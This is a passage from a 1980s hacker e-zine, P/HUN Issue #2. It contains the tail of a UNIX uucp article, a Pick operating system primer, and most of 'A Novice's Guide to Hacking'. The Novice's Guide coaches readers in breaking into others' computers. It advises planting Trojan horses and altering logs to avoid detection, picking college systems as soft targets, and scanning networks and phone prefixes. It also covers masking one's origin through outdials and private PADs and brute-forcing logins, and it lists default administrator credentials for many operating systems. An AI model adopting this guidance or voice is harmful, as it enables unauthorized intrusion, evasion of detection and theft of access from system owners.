-c dont copy files to spool directory
-C copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r Dont start the comm program(uucico) yet
-j print job number(for above eg.unix2e9o3)
-m send mail when file file is complete
Now suppose you wanted to receive file called kenya which is in the usr/dan/usa
to your home directory /usr/john assuming that the local systems name is
ATT01 and you are currently working in /usr/dan/usa,you would type in:
$uucp kenya ATT01!/usr/john/kenya
uuto
----
The uuto command allows one to send file to remote user and can also be used
to send files locally.
Usage:
$ uuto [file name] [system!login name]( omit systen name if local)
Conclusion:
-----------
Theres always more one can say about the UNIX but its time to stop.
I hope you have enjoyed the article.I apologize for the lenght. I hope I
made the UNIX operating system more familiar.
Remember do not abuse any systems you hack into for a true hacker doesn't like
to reck but to learn.
I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5]
Watch for my new article on using PANAMAC airline computers coming soon.
Red Knight
P/HUN!
<<T.S.A.N>>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
= Volume 1 , P/HUN Issue #2 , Phile #7 of 9 =
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Guide to The Pick Operating System
----------------------------------
Mr. Slippery
Phreakers/Hackers Underground Network (c)
-------------
Introduction:
-------------
This is an unfamiliar operating system to many in spite of its
being wide spread. It was created by Dick Pick (no kidding) a
number of years ago and can now be found on everything from
IBM PC's through mainframes. One reason it is unfamiliar is
that it has been sold under a number of names such as Mentor,
Ultimate and Reality. It resembles a data base management
system and is also sold as a DBMS on top of MSDOS as Revelation,
as well as running as an application on UNIX and VM/CMS. Its also
unfamiliar to many since its basically sold to do business
functions like accounting in small to medium size businesses and
is therefore less likely to be found by people such as those
reading this article :-)
This is a bare-bones introduction to the system. It does not
include details on the languages nor specific system manager
functions such as how to stop and restart the system. Also, there
is a new version out, open access, that I don't know anything
about. Its supposed to allow for easier integration of Pick with
other operating systems, such as UNIX.
--------------------
Structure of System:
--------------------
Everything outside of the basic operating system (ABS for
absolute addresses) is based on items in files. Even files are
items in other files. The system is laid out in a four level
hierarchy:
----------
- SYSTEM - (user accounts)
----------
/ | X
/ | X
------------- -------- ---------
- Master- -M/DICT- - MD - (synonyms for user)
- Dictionary- - - - - (account level )
------------- -------- ---------
/ / | X X
/ / | X X
---------- ------------ ---------
- DICT - - File - - -
- - -Dictionary- - -
---------- ------------ ---------
/ / | X X
/ / | X X
-------- -------- -------
- DATA - - File - - -
- - - Data - - -
-------- -------- -------
The System Dictionary (SYSTEM) is a file that contains the user
accounts and passwords. It points to the user's master dictionary
which contains pointers to the dictionary parts of the user's
files and also has commands (VERBS), dictionary defining items
and procedures (PROCS). The data files are divided into two
pieces the dictionary which points to the data portion and
contains items that can be used to retrieve items from the data
portion of the file.
The structure is more complicated as some of these files can
point to themselves and you can therefore have 'one level' data
files.
Each file has ITEMS in it. These items are always in ASCII format
even the numbers so all DICTIONARIES and DATA files can be
displayed and edited. Each ITEM is composed of ATTRIBUTES (what
is typically called fields). The key is called the "ITEM-ID".
Attributes can have multiple values which may also have multiple
subvalues. A danger in the ability to edit everything is that you
can edit the file pointers and make them point at garbage.
This will cause what is known as a "group format error" which is
a phrase meaning that the operating system says your files are
garbaged.
Certain files have predefined DICTIONARY items. For example the
M/DICT first ATTRIBUTE is the D/CODE which tells what kind of
item is in the M/DICT. An "A" is an ATTRIBUTE defining item, "D"
is a file defining item, "P" is a verb, "PQ" is a PROC, "Q" is a
file synonym item and so forth.
-------------------
Command Processors:
-------------------
The languages you find are an extended BASIC, a retrieval
language called ACCESS, ENGLISH and other names depending on
which version of PICK you have and an interpreted procedure
language called PROC. The command interpreter is called TCL for
Terminal Control Language.
-------------------------------
How to recognize a PICK system:
-------------------------------
The prompt you get is typically "LOGON PLEASE: ". There will
always be a "SYSPROG" (system programmer) account and this one
has the highest privileges. If you have your user-id wrong, it
will say "USER_ID?" followed by the LOGON PLEASE prompt. If you
have a bad password, it will prompt "PASSWORD?" followed by the
logon prompt.
---------------------------------
How to see what is on the system:
---------------------------------
Once you are on, you can see what accounts there are by saying
"LIST ONLY DICT SYSTEM". Besides SYSPROG, you will see POINTER-
FILE (items pointing to binary data strings), SYSPROG-PL (system
maintenance PROCS, NEWAC (new account template), ACC (accounting
history file), ERRMSG (system error messages), PROCLIB (PROC
library) and BLOCK-CONVERT (format of characters printed by use
of the BLOCK-PRINT command)
To see the files you can type "LIST ONLY MD WITH D/CODE "D]" or
LISTFILES (which is a PROC). LISTVERBS and LISTPROCS will tell
you what commands are available.
------------------------
Common Commands (VERBS):
------------------------
AS - Assembler
BLOCK-PRINT - Print letters as blocks
CHARACTERS - Print ASCII character set
CHARGES - Total time logged on and CPU activity stats
COPY - Copies an item
CREATE-FILE - Creates a new dictionary & data file
CT file item - Copy an item to terminal
DTR radix # - Convert Decimal to Radix (default 16)
DUMP frameid - Binary dump of virtual disk frames
ECHO ON/OFF - Terminal echoing ON or OFF
LISTFILES - List of files
LISTPROCS - List of PROCs
LISTU - PROC showing who is on the computer
LISTVERBS - List all VERBS
LOGTO name - Change to another user
LOGOFF - Logout
MSG - Sends a message to another user.
POVF - Print OVerFlow tells how much disc is free
PRINT-ERR - Output specified error message number (ERRMSG)
RECOVER-FD - Recover editor deleted (FD) item.
RUNOFF - Output processor (like VMS runoff and UNIX nroff)
SAVE - Backup system to tape or floppy
SET-FILE - Create a synonym file called QFILE in your MD
SETUP-ASSY - Setup account for assembler (run from SYSPROG)
SLEEP - Take a nap for n seconds or until given time
SP-STATUS - Printer spooler status
T-ATT - Attach the tape drive
T-READ - Read from the tape drive
T-DET - Detach the tape drive
TABS - Display tab stops
TERM - Specifies terminal characteristics
TIME - Shows current date & time
TA-ON/OFF - Typeahead ON or OFF
WHAT - Displays system configuration
WHERE - Current information on processes
WHO - Display your account name (WHO * is for all)
--------------
File creation:
--------------
CREATE-FILE filename dictmod,dictsep datamod,datasep
modulo or mod is the number of contiguous disk groups allocated
for a given file and separation is the size of a group. Typically
the separation is set to 1. Deleting a file: "DELETE-FILE filename"
----------------
Copying an item:
----------------
"COPY FILE ITEM <CR>"
The machine will print: TO:
Enter: (optional file) item. Here if you want to copy an item to
another name in the same file leave off the filename else put in
the file name you want. To delete an item type: "DELETE file item".
----------------------
Access/Recall/English:
----------------------
To look at an item you can either use the editor or the retrieval
processor. The two basic commands are LIST and SORT. SORT sorts
the file and then does a LIST. To see what dictionary items (such
as "SALARY" exist for a file, type "LISTDICTS filename".
The structure of the retrieval command is:
COMMAND FILE-NAME SELECTION-CRITERIA SORT-CRITERIA OUTPUT-CRITERIA
An example is "LIST PAYROLL WITH SALARY > "10000"
Another is "SORT M/DICT BY D/CODE"
-------
Editor:
-------
Pick has a fairly simple text editor. You call it up by typing
"ED Filename Itemname". Commands include DEn (delete n lines),
EX (exit, don't save), FI (file item), Ln (list n lines), Gn
(go to line number 'n'), R/a/b (replace 'a' with 'b') and X
(cancel last command). 'I' puts you in insert mode; a <cr> as the
first character in the line terminates insert mode.
------
BASIC:
------
Mostly you program the system in a very extended version of
BASIC. After editing in your program, you have to compile it by
typing "BASIC file item". Actually its not a compilation into
machine code. It compiles into a meta-code like some versions of
PASCAL compile into P-code. To execute the program, type "RUN
file item". Some programs are "cataloged" which means that an item
is stored in a special format and a pointer with the name of the
program written in the master dictionary so all you have to do is
type the name of the program instead of "RUN file item".
Some of the commands are familiar like "GOTO", "GOSUB" and "FOR"
while many are unique to Pick like those dealing with opening,
reading and writing to files. Pick Basic has a number of neat
things in it like conversion between ascii and ebcdic which is
useful for dealing with stuff from an IBM mainframe.
-----
PROC:
-----
Proc is the stored procedure langage. The first line of all of
them begin with "PQ". Some versions have a different language so
you might also see "PQN". PROCs have subroutine calls shown by
parenthese () or brackets []. Some commands: C - comment, G - go
to a linenumber, IF - Test, IP - input from terminal, O - output
text to terminal, P - process commands in output buffer, RI -
reset input buffers to null, T - terminal output with special
functions like screen clear and X - exit PROC. The processor has
two input buffers and two output buffers and if you want to know
more you should consult a PROC manual or book.
----
TCL:
----
Many commands take options of (N) for do not stop between pages
and (P) for send data to the line printer. For example: "COPY foo
bar (n,t)" means copy item 'bar' from file 'foo' to the terminal and
do not stop between pages.
There are a number of useful terminal control characters:
Control-H - Backspace a character
" -I - Tab
" -Q - XON (restart output - after XOFF)
" -R - Retype last line
" -S - XOFF (stop output)
" -W - Backspace a word
" -X - Cancel current input line
--------------
Communication:
--------------
Pick is not a good communicator. The vast majority of systems are
stand-alone running a canned application. Some of the vendors
have added some file transfer and networking functions, but
typically this is done by another OS when Pick is a guest (such
as VM and UNIX).
-----------
Privileges:
-----------
The Pick system has 3 privilege levels. The lowest does not allow
the user to update the master dictionary or use the tape drive.
The second does not allow the use of interesting parts of the
debugger and certain system maintenance commands. The highest
allows full privileges.
---------
Security:
---------
The system has very little security. Any intermediate hacker can
break thru it very easily. You don't have to be elite. Its based
on codes put in attributes 5 and 6 of file defining items. The
retrieval lock is put in attribute 5 and the update lock in
attribute 6. When you logon, the values in attributes 5 and 6 of
your account are stored and compared against any file you want to
access. A match and your in otherwise you'll get a message that
says the file is access protected.
You put security on a file by editing the file defining items
which means that if you can edit the 'D'-pointer, you can add and
remove the security on the items in the file.
By the way, if you think the security section is skimpy its
because there's not much of it. In earlier versions of the system
the passwords were not even encrypted and anyone could get at
them if they had a little knowledge and access to the editor!
------------------------------
System Messages (ERRMSG) file:
------------------------------
The messages the system prints out are stored in a file, ERRMSG.
So if you are tired of a message like "THE WORD 'item' is
ILLEGAL", all you have to do is "ED ERRMSG 5" and say whatever
you like.
-----------------
That's all Folks:
-----------------
There are a few books on the operating system. A WELL equipped
bookstore will have some. One source (at least according to the
documentation I have is JES & Associates, PO Box 19274, Irvine,
CA 92714; phone (714) 786-2211.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Volume 1 , P/HUN Issue #2 , Phile #8 of 9
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+++++++++++++++++++++++++++++++++++++++++++++++++
| The LOD/H Presents |
++++++++++++++++ ++++++++++++++++
X A Novice's Guide to Hacking- 1989 edition /
X ========================================= /
X by /
X The Mentor /
X Legion of Doom/Legion of Hackers /
X /
X December, 1988 /
X Merry Christmas Everyone! /
X+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/
**********************************************************************
| The author hereby grants permission to reproduce, redistribute, |
| or include this file in your g-file section, electronic or print |
| newletter, or any other form of transmission that you choose, as |
| long as it is kept intact and whole, with no ommissions, delet- |
| ions, or changes. (C) The Mentor- Phoenix Project Productions |
| 1988,1989 512/441-3088 |
**********************************************************************
Introduction: The State of the Hack
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
After surveying a rather large g-file collection, my attention was drawn to
the fact that there hasn't been a good introductory file written for absolute
beginners since back when Mark Tabas was cranking them out (and almost
- everyone* was a beginner!) The Arts of Hacking and Phreaking have changed
radically since that time, and as the 90's approach, the hack/phreak community
has recovered from the Summer '87 busts (just like it recovered from the Fall
'85 busts, and like it will always recover from attempts to shut it down), and
the progressive media (from Reality Hackers magazine to William Gibson and
Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice
of us for the first time in recent years in a positive light.
Unfortunately, it has also gotten more dangerous since the early 80's.
Phone cops have more resources, more awareness, and more intelligence that they
exhibited in the past. It is becoming more and more difficult to survive as
a hacker long enough to become skilled in the art. To this end this file
is dedicated . If it can help someone get started, and help them survive
to discover new systems and new information, it will have served it's purpose,
and served as a partial repayment to all the people who helped me out when I
was a beginner.
Contents
DDDDDDDD
This file will be divided into four parts:
Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety
Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it,
Outdials, Network Servers, Private PADs
Part 3: Identifying a Computer, How to Hack In, Operating System
Defaults
Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call,
Acknowledgements
Part One: The Basics
DDDDDDDDDDDDDDDDDDDD
As long as there have been computers, there have been hackers. In the 50's
at the Massachusets Institute of Technology (MIT), students devoted much time
and energy to ingenious exploration of the computers. Rules and the law were
disregarded in their pursuit for the 'hack'. Just as they were enthralled with
their pursuit of information, so are we. The thrill of the hack is not in
breaking the law, it's in the pursuit and capture of knowledge.
To this end, let me contribute my suggestions for guidelines to follow to
ensure that not only you stay out of trouble, but you pursue your craft without
damaging the computers you hack into or the companies who own them.
I. Do not intentionally damage *any* system.
II. Do not alter any system files other than ones needed to ensure your
escape from detection and your future access (Trojan Horses, Altering
Logs, and the like are all necessary to your survival for as long as
possible.)
III. Do not leave your (or anyone else's) real name, real handle, or real
phone number on any system that you access illegally. They *can* and
will track you down from your handle!
IV. Be careful who you share information with. Feds are getting trickier.
Generally, if you don't know their voice phone number, name, and
occupation or haven't spoken with them voice on non-info trading
conversations, be wary.
V. Do not leave your real phone number to anyone you don't know. This
includes logging on boards, no matter how k-rad they seem. If you
don't know the sysop, leave a note telling some trustworthy people
that will validate you.
VI. Do not hack government computers. Yes, there are government systems
that are safe to hack, but they are few and far between. And the
government has inifitely more time and resources to track you down than
a company who has to make a profit and justify expenses.
VII. Don't use codes unless there is *NO* way around it (you don't have a
local telenet or tymnet outdial and can't connect to anything 800...)
You use codes long enough, you will get caught. Period.
VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law.
It doesn't hurt to store everything encrypted on your hard disk, or
keep your notes buried in the backyard or in the trunk of your car.
You may feel a little funny, but you'll feel a lot funnier when you
when you meet Bruno, your transvestite cellmate who axed his family to
death.
IX. Watch what you post on boards. Most of the really great hackers in the
country post *nothing* about the system they're currently working
except in the broadest sense (I'm working on a UNIX, or a COSMOS, or
something generic. Not "I'm hacking into General Electric's Voice Mail
System" or something inane and revealing like that.)
X. Don't be afraid to ask questions. That's what more experienced hackers
are for. Don't expect *everything* you ask to be answered, though.
There are some things (LMOS, for instance) that a begining hacker
shouldn't mess with. You'll either get caught, or screw it up for
others, or both.
XI. Finally, you have to actually hack. You can hang out on boards all you
want, and you can read all the text files in the world, but until you
actually start doing it, you'll never know what it's all about. There's
no thrill quite the same as getting into your first system (well, ok,
I can think of a couple of bigger thrills, but you get the picture.)
One of the safest places to start your hacking career is on a computer
system belonging to a college. University computers have notoriously lax
security, and are more used to hackers, as every college computer depart-
ment has one or two, so are less likely to press charges if you should
be detected. But the odds of them detecting you and having the personel to
committ to tracking you down are slim as long as you aren't destructive.
If you are already a college student, this is ideal, as you can legally
explore your computer system to your heart's desire, then go out and look
for similar systems that you can penetrate with confidence, as you're already
familar with them.
So if you just want to get your feet wet, call your local college. Many of
them will provide accounts for local residents at a nominal (under $20) charge.
Finally, if you get caught, stay quiet until you get a lawyer. Don't vol-
unteer any information, no matter what kind of 'deals' they offer you.
Nothing is binding unless you make the deal through your lawyer, so you might
as well shut up and wait.
Part Two: Networks
DDDDDDDDDDDDDDDDDD
The best place to begin hacking (other than a college) is on one of the
bigger networks such as Telenet. Why? First, there is a wide variety of
computers to choose from, from small Micro-Vaxen to huge Crays. Second, the
networks are fairly well documented. It's easier to find someone who can help
you with a problem off of Telenet than it is to find assistance concerning your
local college computer or high school machine. Third, the networks are safer.
Because of the enormous number of calls that are fielded every day by the big
networks, it is not financially practical to keep track of where every call and
connection are made from. It is also very easy to disguise your location using
the network, which makes your hobby much more secure.
Telenet has more computers hooked to it than any other system in the world
once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET,
DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of
which you can connect to from your terminal.
The first step that you need to take is to identify your local dialup port.
This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will
spout some garbage at you and then you'll get a prompt saying 'TERMINAL='.
This is your terminal type. If you have vt100 emulation, type it in now. Or
just hit return and it will default to dumb terminal mode.
You'll now get a prompt that looks like a @. From here, type @c mail <cr>
and then it will ask for a Username. Enter 'phones' for the username. When it
asks for a password, enter 'phones' again. From this point, it is menu
driven. Use this to locate your local dialup, and call it back locally. If
you don't have a local dialup, then use whatever means you wish to connect to
one long distance (more on this later.)
When you call your local dialup, you will once again go through the
TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets
you know you are connected to a Telenet PAD. PAD stands for either Packet
Assembler/Disassembler (if you talk to an engineer), or Public Access Device
(if you talk to Telenet's marketing people.) The first description is more
correct.
Telenet works by taking the data you enter in on the PAD you dialed into,
bundling it into a 128 byte chunk (normally... this can be changed), and then
transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who
then takes the data and hands it down to whatever computer or system it's
connected to. Basically, the PAD allows two computers that have different baud
rates or communication protocols to communicate with each other over a long
distance. Sometimes you'll notice a time lag in the remote machines response.
This is called PAD Delay, and is to be expected when you're sending data
through several different links.
What do you do with this PAD? You use it to connect to remote computer
systems by typing 'C' for connect and then the Network User Address (NUA) of
the system you want to go to.
An NUA takes the form of 031103130002520
X___/X___/X___/
| | |
| | |____ network address
| |_________ area prefix
|______________ DNIC
This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC)
according to their country and network name.
DNIC Network Name Country DNIC Network Name Country
_______________________________________________________________________________
|
02041 Datanet 1 Netherlands | 03110 Telenet USA
02062 DCS Belgium | 03340 Telepac Mexico
02080 Transpac France | 03400 UDTS-Curacau Curacau
02284 Telepac Switzerland | 04251 Isranet Israel
02322 Datex-P Austria | 04401 DDX-P Japan
02329 Radaus Austria | 04408 Venus-P Japan
02342 PSS UK | 04501 Dacom-Net South Korea
02382 Datapak Denmark | 04542 Intelpak Singapore
02402 Datapak Sweden | 05052 Austpac Australia
02405 Telepak Sweden | 05053 Midas Australia
02442 Finpak Finland | 05252 Telepac Hong Kong
02624 Datex-P West Germany | 05301 Pacnet New Zealand
02704 Luxpac Luxembourg | 06550 Saponet South Africa
02724 Eirpak Ireland | 07240 Interdata Brazil
03020 Datapac Canada | 07241 Renpac Brazil
03028 Infogram Canada | 09000 Dialnet USA
03103 ITT/UDTS USA | 07421 Dompac French Guiana
03106 Tymnet USA |
There are two ways to find interesting addresses to connect to. The first
and easiest way is to obtain a copy of the LOD/H Telenet Directory from the
LOD/H Technical Journal #4 or 2600 Magazine. Jester Sluggo also put out a good
list of non-US addresses in Phrack Inc. Newsletter Issue 21. These files will
tell you the NUA, whether it will accept collect calls or not, what type of
computer system it is (if known) and who it belongs to (also if known.)
The second method of locating interesting addresses is to scan for them
manually. On Telenet, you do not have to enter the 03110 DNIC to connect to a
Telenet host. So if you saw that 031104120006140 had a VAX on it you wanted to
look at, you could type @c 412 614 (0's can be ignored most of the time.)
If this node allows collect billed connections, it will say 412 614
CONNECTED and then you'll possibly get an identifying header or just a
Username: prompt. If it doesn't allow collect connections, it will give you a
message such as 412 614 REFUSED COLLECT CONNECTION with some error codes out to
the right, and return you to the @ prompt.
There are two primary ways to get around the REFUSED COLLECT message. The
first is to use a Network User Id (NUI) to connect. An NUI is a username/pw
combination that acts like a charge account on Telenet. To collect to node
412 614 with NUI junk4248, password 525332, I'd type the following:
@c 412 614,junk4248,525332 <---- the 525332 will *not* be echoed to the
screen. The problem with NUI's is that they're hard to come by unless you're
a good social engineer with a thorough knowledge of Telenet (in which case
you probably aren't reading this section), or you have someone who can
provide you with them.
The second way to connect is to use a private PAD, either through an X.25
PAD or through something like Netlink off of a Prime computer (more on these
two below.)
The prefix in a Telenet NUA oftentimes (not always) refers to the phone Area
Code that the computer is located in (i.e. 713 xxx would be a computer in
Houston, Texas.) If there's a particular area you're interested in, (say,
New York City 914), you could begin by typing @c 914 001 <cr>. If it connects,
you make a note of it and go on to 914 002. You do this until you've found
some interesting systems to play with.
Not all systems are on a simple xxx yyy address. Some go out to four or
five digits (914 2354), and some have decimal or numeric extensions
(422 121A = 422 121.01). You have to play with them, and you never know what
you're going to find. To fully scan out a prefix would take ten million
attempts per prefix. For example, if I want to scan 512 completely, I'd have
to start with 512 00000.00 and go through 512 00000.99, then increment the
address by 1 and try 512 00001.00 through 512 00001.99. A lot of scanning.
There are plenty of neat computers to play with in a 3-digit scan, however,
so don't go berserk with the extensions.
Sometimes you'll attempt to connect and it will just be sitting there after
one or two minutes. In this case, you want to abort the connect attempt by
sending a hard break (this varies with different term programs, on Procomm,
it's ALT-B), and then when you get the @ prompt back, type 'D' for disconnect.
If you connect to a computer and wish to disconnect, you can type <cr> @
<cr> and you it should say TELENET and then give you the @ prompt. From there,
type D to disconnect or CONT to re-connect and continue your session
uninterrupted.
Outdials, Network Servers, and PADs
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
In addition to computers, an NUA may connect you to several other things.
One of the most useful is the outdial. An outdial is nothing more than a modem
you can get to over telenet- similar to the PC Pursuit concept, except that
these don't have passwords on them most of the time.
When you connect, you will get a message like 'Hayes 1200 baud outdial,
Detroit, MI', or 'VEN-TEL 212 Modem', or possibly 'Session 1234 established
on Modem 5588'. The best way to figure out the commands on these is to
type ? or H or HELP- this will get you all the information that you need to
use one.
Safety tip here- when you are hacking *any* system through a phone dialup,
always use an outdial or a diverter, especially if it is a local phone number
to you. More people get popped hacking on local computers than you can
imagine, Intra-LATA calls are the easiest things in the world to trace inexp-
ensively.
Another nice trick you can do with an outdial is use the redial or macro
function that many of them have. First thing you do when you connect is to
invoke the 'Redial Last Number' facility. This will dial the last number used,
which will be the one the person using it before you typed. Write down the
number, as no one would be calling a number without a computer on it. This
is a good way to find new systems to hack. Also, on a VENTEL modem, type 'D'
for Display and it will display the five numbers stored as macros in the
modem's memory.
There are also different types of servers for remote Local Area Networks
(LAN) that have many machine all over the office or the nation connected to
them. I'll discuss identifying these later in the computer ID section.
And finally, you may connect to something that says 'X.25 Communication
PAD' and then some more stuff, followed by a new @ prompt. This is a PAD
just like the one you are on, except that all attempted connections are billed
to the PAD, allowing you to connect to those nodes who earlier refused collect
connections.
This also has the added bonus of confusing where you are connecting from.
When a packet is transmitted from PAD to PAD, it contains a header that has
the location you're calling from. For instance, when you first connected
to Telenet, it might have said 212 44A CONNECTED if you called from the 212
area code. This means you were calling PAD number 44A in the 212 area.
That 21244A will be sent out in the header of all packets leaving the PAD.
Once you connect to a private PAD, however, all the packets going out
from *it* will have it's address on them, not yours. This can be a valuable
buffer between yourself and detection.
Phone Scanning
DDDDDDDDDDDDDD
Finally, there's the time-honored method of computer hunting that was made
famous among the non-hacker crowd by that Oh-So-Technically-Accurate movie
Wargames. You pick a three digit phone prefix in your area and dial every
number from 0000 --> 9999 in that prefix, making a note of all the carriers
you find. There is software available to do this for nearly every computer
in the world, so you don't have to do it by hand.
Part Three: I've Found a Computer, Now What?
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
This next section is applicable universally. It doesn't matter how you
found this computer, it could be through a network, or it could be from
carrier scanning your High School's phone prefix, you've got this prompt
this prompt, what the hell is it?
I'm *NOT* going to attempt to tell you what to do once you're inside of
any of these operating systems. Each one is worth several G-files in its
own right. I'm going to tell you how to identify and recognize certain
OpSystems, how to approach hacking into them, and how to deal with something
that you've never seen before and have know idea what it is.
VMS- The VAX computer is made by Digital Equipment Corporation (DEC),
and runs the VMS (Virtual Memory System) operating system.
VMS is characterized by the 'Username:' prompt. It will not tell
you if you've entered a valid username or not, and will disconnect
you after three bad login attempts. It also keeps track of all
failed login attempts and informs the owner of the account next time
s/he logs in how many bad login attempts were made on the account.
It is one of the most secure operating systems around from the
outside, but once you're in there are many things that you can do
to circumvent system security. The VAX also has the best set of
help files in the world. Just type HELP and read to your heart's
content.
Common Accounts/Defaults: [username: password [[,password]] ]
SYSTEM: OPERATOR or MANAGER or SYSTEM or SYSLIB
OPERATOR: OPERATOR
SYSTEST: UETP
SYSMAINT: SYSMAINT or SERVICE or DIGITAL
FIELD: FIELD or SERVICE
GUEST: GUEST or unpassworded
DEMO: DEMO or unpassworded
DECNET: DECNET
DEC-10- An earlier line of DEC computer equipment, running the TOPS-10
operating system. These machines are recognized by their
'.' prompt. The DEC-10/20 series are remarkably hacker-friendly,
allowing you to enter several important commands without ever
logging into the system. Accounts are in the format [xxx,yyy] where
xxx and yyy are integers. You can get a listing of the accounts and
the process names of everyone on the system before logging in with
the command .systat (for SYstem STATus). If you seen an account
that reads [234,1001] BOB JONES, it might be wise to try BOB or
JONES or both for a password on this account. To login, you type
.login xxx,yyy and then type the password when prompted for it.
The system will allow you unlimited tries at an account, and does
not keep records of bad login attempts. It will also inform you
if the UIC you're trying (UIC = User Identification Code, 1,2 for
example) is bad.
Common Accounts/Defaults:
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES
UNIX- There are dozens of different machines out there that run UNIX.
While some might argue it isn't the best operating system in the
world, it is certainly the most widely used. A UNIX system will
usually have a prompt like 'login:' in lower case. UNIX also
will give you unlimited shots at logging in (in most cases), and
there is usually no log kept of bad attempts.
Common Accounts/Defaults: (note that some systems are case
sensitive, so use lower case as a general rule. Also, many times
the accounts will be unpassworded, you'll just drop right in!)
root: root
admin: admin
sysadmin: sysadmin or admin
unix: unix
uucp: uucp
rje: rje
guest: guest
demo: demo
daemon: daemon
sysbin: sysbin
Prime- Prime computer company's mainframe running the Primos operating
system. The are easy to spot, as the greet you with
'Primecon 18.23.05' or the like, depending on the version of the
operating system you run into. There will usually be no prompt
offered, it will just look like it's sitting there. At this point,
type 'login <username>'. If it is a pre-18.00.00 version of Primos,
you can hit a bunch of ^C's for the password and you'll drop in.
Unfortunately, most people are running versions 19+. Primos also
comes with a good set of help files. One of the most useful
features of a Prime on Telenet is a facility called NETLINK. Once
you're inside, type NETLINK and follow the help files. This allows
you to connect to NUA's all over the world using the 'nc' command.
For example, to connect to NUA 026245890040004, you would type
@nc :26245890040004 at the netlink prompt.
Common Accounts/Defaults:
PRIME PRIME or PRIMOS
PRIMOS_CS PRIME or PRIMOS
PRIMENET PRIMENET
SYSTEM SYSTEM or PRIME
NETLINK NETLINK
TEST TEST
GUEST GUEST
GUEST1 GUEST
HP-x000- This system is made by Hewlett-Packard. It is characterized by the
':' prompt. The HP has one of the more complicated login sequences
around- you type 'HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP'.
Fortunately, some of these fields can be left blank in many cases.
Since any and all of these fields can be passworded, this is not
the easiest system to get into, except for the fact that there are
usually some unpassworded accounts around. In general, if the
defaults don't work, you'll have to brute force it using the
common password list (see below.) The HP-x000 runs the MPE operat-
ing system, the prompt for it will be a ':', just like the logon
prompt.
Common Accounts/Defaults:
MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB
MGR.HPOFFICE,PUB unpassworded
MANAGER.ITF3000,PUB unpassworded
FIELD.SUPPORT,PUB user: FLD, others unpassworded
MAIL.TELESUP,PUB user: MAIL, others unpassworded
MGR.RJE unpassworded
FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 unpassworded
MGR.TELESUP,PUB,HPONLY,HP3 unpassworded
IRIS- IRIS stands for Interactive Real Time Information System. It orig-
inally ran on PDP-11's, but now runs on many other minis. You can
spot an IRIS by the 'Welcome to "IRIS" R9.1.4 Timesharing' banner,
and the ACCOUNT ID? prompt. IRIS allows unlimited tries at hacking
in, and keeps no logs of bad attempts. I don't know any default
passwords, so just try the common ones from the password database
below.
Common Accounts:
MANAGER
BOSS
SOFTWARE
DEMO
PDP8
PDP11
ACCOUNTING
VM/CMS- The VM/CMS operating system runs in International Business Machines
(IBM) mainframes. When you connect to one of these, you will get
message similar to 'VM/370 ONLINE', and then give you a '.' prompt,
just like TOPS-10 does. To login, you type 'LOGON <username>'.
Common Accounts/Defaults are:
AUTOLOG1: AUTOLOG or AUTOLOG1
CMS: CMS
CMSBATCH: CMS or CMSBATCH
EREP: EREP
MAINT: MAINT or MAINTAIN
OPERATNS: OPERATNS or OPERATOR
OPERATOR: OPERATOR
RSCS: RSCS
SMART: SMART
SNA: SNA
VMTEST: VMTEST
VMUTIL: VMUTIL
VTAM: VTAM
NOS- NOS stands for Networking Operating System, and runs on the Cyber
computer made by Control Data Corporation. NOS identifies itself
quite readily, with a banner of 'WELCOME TO THE NOS SOFTWARE
SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. The first prompt you
will get will be FAMILY:. Just hit return here. Then you'll get
a USER NAME: prompt. Usernames are typically 7 alpha-numerics
characters long, and are *extremely* site dependent. Operator
accounts begin with a digit, such as 7ETPDOC.
Common Accounts/Defaults:
$SYSTEM unknown
SYSTEMV unknown
Decserver- This is not truly a computer system, but is a network server that
has many different machines available from it. A Decserver will
say 'Enter Username>' when you first connect. This can be anything,
it doesn't matter, it's just an identifier. Type 'c', as this is
the least conspicuous thing to enter. It will then present you
with a 'Local>' prompt. From here, you type 'c <systemname>' to
connect to a system. To get a list of system names, type
'sh services' or 'sh nodes'. If you have any problems, online
help is available with the 'help' command. Be sure and look for
services named 'MODEM' or 'DIAL' or something similar, these are
often outdial modems and can be useful!
GS/1- Another type of network server. Unlike a Decserver, you can't
predict what prompt a GS/1 gateway is going to give you. The
default prompt it 'GS/1>', but this is redifinable by the
system administrator. To test for a GS/1, do a 'sh d'. If that
prints out a large list of defaults (terminal speed, prompt,
parity, etc...), you are on a GS/1. You connect in the same manner
as a Decserver, typing 'c <systemname>'. To find out what systems
are available, do a 'sh n' or a 'sh c'. Another trick is to do a
'sh m', which will sometimes show you a list of macros for logging
onto a system. If there is a macro named VAX, for instance, type
'do VAX'.
The above are the main system types in use today. There are
hundreds of minor variants on the above, but this should be
enough to get you started.
Unresponsive Systems
